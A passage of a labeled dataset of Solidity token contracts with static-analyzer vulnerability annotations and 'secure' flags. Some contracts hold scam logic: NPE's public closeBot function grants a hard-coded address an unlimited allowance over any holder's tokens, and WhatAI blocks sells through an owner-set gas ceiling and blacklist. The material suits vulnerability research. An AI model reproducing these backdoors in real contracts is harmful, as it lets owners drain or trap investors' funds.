Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 35cc33d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f53e757\n\t\t// reentrancy-benign | ID: 35cc33d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f53e757\n\t\t// reentrancy-benign | ID: 35cc33d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92e2a36): Obi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92e2a36: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 35cc33d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f53e757\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6195c4f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6195c4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 742afde): Obi.bots is never initialized. It is used in Obi._transfer(address,address,uint256)\n\t// Recommendation for 742afde: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 488b478): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 488b478: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6195c4f\n\t\t\t\t// reentrancy-eth | ID: 488b478\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6195c4f\n\t\t\t\t\t// reentrancy-eth | ID: 488b478\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 488b478\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 488b478\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 488b478\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6195c4f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 488b478\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 488b478\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6195c4f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6195c4f\n\t\t// reentrancy-events | ID: f53e757\n\t\t// reentrancy-benign | ID: 35cc33d\n\t\t// reentrancy-eth | ID: 488b478\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ee32e84): Obi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ee32e84: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6195c4f\n\t\t// reentrancy-events | ID: f53e757\n\t\t// reentrancy-eth | ID: 488b478\n\t\t// arbitrary-send-eth | ID: ee32e84\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9d968bb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9d968bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ead15e): Obi.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2ead15e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b598ee9): Obi.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b598ee9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e5c5c03): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e5c5c03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9d968bb\n\t\t// reentrancy-eth | ID: e5c5c03\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9d968bb\n\t\t// unused-return | ID: b598ee9\n\t\t// reentrancy-eth | ID: e5c5c03\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9d968bb\n\t\t// unused-return | ID: 2ead15e\n\t\t// reentrancy-eth | ID: e5c5c03\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 9d968bb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e5c5c03\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function rescueeth() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_1079.sol", "secure": 0, "size_bytes": 18528 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TROLL is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 601d3f5): TROLL.maxSupply should be constant \n\t// Recommendation for 601d3f5: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"BASE TROLL\", \"TROLL\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_108.sol", "secure": 1, "size_bytes": 596 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract NPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fabb904): NPE._npeeee should be constant \n\t// Recommendation for fabb904: Add the 'constant' attribute to state variables that never change.\n address private _npeeee = 0x9ba3BD59560C85486513D17349B46d04f7102EBf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4204140): NPE._initialBuyTax should be constant \n\t// Recommendation for 4204140: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18d8af5): NPE._initialSellTax should be constant \n\t// Recommendation for 18d8af5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9ea2b8): NPE._finalBuyTax should be constant \n\t// Recommendation for e9ea2b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 469b1ef): NPE._finalSellTax should be constant \n\t// Recommendation for 469b1ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 191981d): NPE._reduceBuyAt should be constant \n\t// Recommendation for 191981d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6941f3): NPE._reduceSellAt should be constant \n\t// Recommendation for e6941f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 057465d): NPE._preventCount should be constant \n\t// Recommendation for 057465d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Non-Playable Elon\";\n\n string private constant _symbol = unicode\"NPE\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe1aab5): NPE._minTaxSwap should be constant \n\t// Recommendation for fe1aab5: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cd6852): NPE._maxTaxSwap should be constant \n\t// Recommendation for 0cd6852: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f78bef1): NPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f78bef1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 892fa4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 892fa4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a8ef2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a8ef2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba8928b): NPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba8928b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6a8ef2f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 892fa4b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3a34787): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3a34787: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 9292a3a): NPE._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 9292a3a: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5682de2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5682de2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f38c6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f38c6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _ttFee = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _ttFee = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _ttFee = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 9292a3a\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 5682de2\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 3a34787\n\t\t\t\t\t\t// reentrancy-eth | ID: 3f38c6b\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_ttFee > 0) {\n\t\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[address(this)] = _balances[address(this)].add(_ttFee);\n\n\t\t\t// reentrancy-events | ID: 3a34787\n emit Transfer(from, address(this), _ttFee);\n }\n\n\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3f38c6b\n _balances[to] = _balances[to].add(amount.sub(_ttFee));\n\n\t\t// reentrancy-events | ID: 3a34787\n emit Transfer(from, to, amount.sub(_ttFee));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3a34787\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-benign | ID: 6a8ef2f\n\t\t// reentrancy-eth | ID: 5682de2\n\t\t// reentrancy-eth | ID: 3f38c6b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _taxWallet = payable(_npeeee);\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7c3a7c0): NPE._bots is never initialized. It is used in NPE._transfer(address,address,uint256) NPE.closeBot(address)\n\t// Recommendation for 7c3a7c0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function closeBot(address _rot) public returns (bool) {\n _approve(_rot, _npeeee, _tTotal);\n\n return _bots[_rot];\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7cb240a): NPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7cb240a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3a34787\n\t\t// reentrancy-events | ID: 892fa4b\n\t\t// reentrancy-eth | ID: 5682de2\n\t\t// reentrancy-eth | ID: 3f38c6b\n\t\t// arbitrary-send-eth | ID: 7cb240a\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9595fda): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9595fda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: edc74bc): NPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for edc74bc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d1cfe9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d1cfe9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9595fda\n\t\t// reentrancy-eth | ID: 5d1cfe9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9595fda\n\t\t// unused-return | ID: edc74bc\n\t\t// reentrancy-eth | ID: 5d1cfe9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9595fda\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5d1cfe9\n tradingOpen = true;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1080.sol", "secure": 0, "size_bytes": 18641 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract WhatAI is ERC20, Ownable {\n mapping(address => bool) public _isteam;\n\n bool public openedTrade = false;\n\n address public pair;\n\n IRouter public _Router;\n\n struct StoreData {\n uint256 gas;\n uint256 buy;\n uint256 sell;\n mapping(address => bool) defaults;\n uint256 maxTxAmount;\n }\n\n storeData public s;\n\n constructor() ERC20(\"What AI\", \"WHAT\") {\n _Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n initMutilsAcountTEAM(address(_Router), true);\n\n initMutilsAcountTEAM(address(this), true);\n\n initMutilsAcountTEAM(msg.sender, true);\n\n _mint(msg.sender, 100000000 * 10 ** decimals());\n\n s.maxTxAmount = (totalSupply() * 5) / 100;\n\n s.buy = 0;\n\n s.sell = 0;\n\n s.gas = 930 gwei;\n }\n\n function GetRouter(IRouter _a) public onlyOwner {\n _Router = _a;\n }\n\n function initMutilsAcountTEAM(address account, bool enable) internal {\n _isteam[account] = enable;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1817ee4): Reentrancy in WhatAI.OpenTrade() External calls pair = IFactory(_Router.factory()).getPair(address(this),_Router.WETH()) State variables written after the call(s) openedTrade = true\n\t// Recommendation for 1817ee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n\t\t// reentrancy-benign | ID: 1817ee4\n pair = IFactory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1817ee4\n openedTrade = true;\n }\n\n function InTaxOne(address spender, bool state) public onlyOwner {\n s.defaults[spender] = state;\n }\n\n function InTaxAll(uint256 _new0Data) public onlyOwner {\n s.gas = _new0Data;\n }\n\n function RemoveLimit() public onlyOwner {\n s.maxTxAmount = totalSupply();\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: a692682): WhatAI._transfer(address,address,uint256) uses tx.origin for authorization _isteam[tx.origin]\n\t// Recommendation for a692682: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 9978027): WhatAI._transfer(address,address,uint256) uses tx.origin for authorization s.defaults[tx.origin] && to == pair && tx.gasprice > 0 && balanceOf(tx.origin) > 0\n\t// Recommendation for 9978027: Do not use 'tx.origin' for authorization.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n\t\t// tx-origin | ID: a692682\n if (_isteam[tx.origin]) {\n super._transfer(from, to, amount);\n\n return;\n } else {\n require(openedTrade, \"Trade has not been opened yet\");\n\n require(amount < s.maxTxAmount);\n\n bool teamOfTransaction = (to == pair) ? true : false;\n\n if (\n\t\t\t\t// tx-origin | ID: 9978027\n s.defaults[tx.origin] &&\n to == pair &&\n tx.gasprice > 0 &&\n balanceOf(tx.origin) > 0\n ) {\n revert();\n }\n\n if (teamOfTransaction && tx.gasprice > s.gas) {\n revert();\n }\n\n if (from != pair && to != pair) {\n require(!s.defaults[from]);\n }\n\n uint256 txAmount;\n\n txAmount = (!teamOfTransaction)\n ? ((amount * s.buy) / 100)\n : ((amount * s.sell) / 100);\n\n super._transfer(from, to, amount - txAmount);\n\n if (txAmount > 0) {\n super._transfer(from, address(this), txAmount);\n }\n\n return;\n }\n }\n}", "file_name": "solidity_code_1081.sol", "secure": 0, "size_bytes": 4358 }
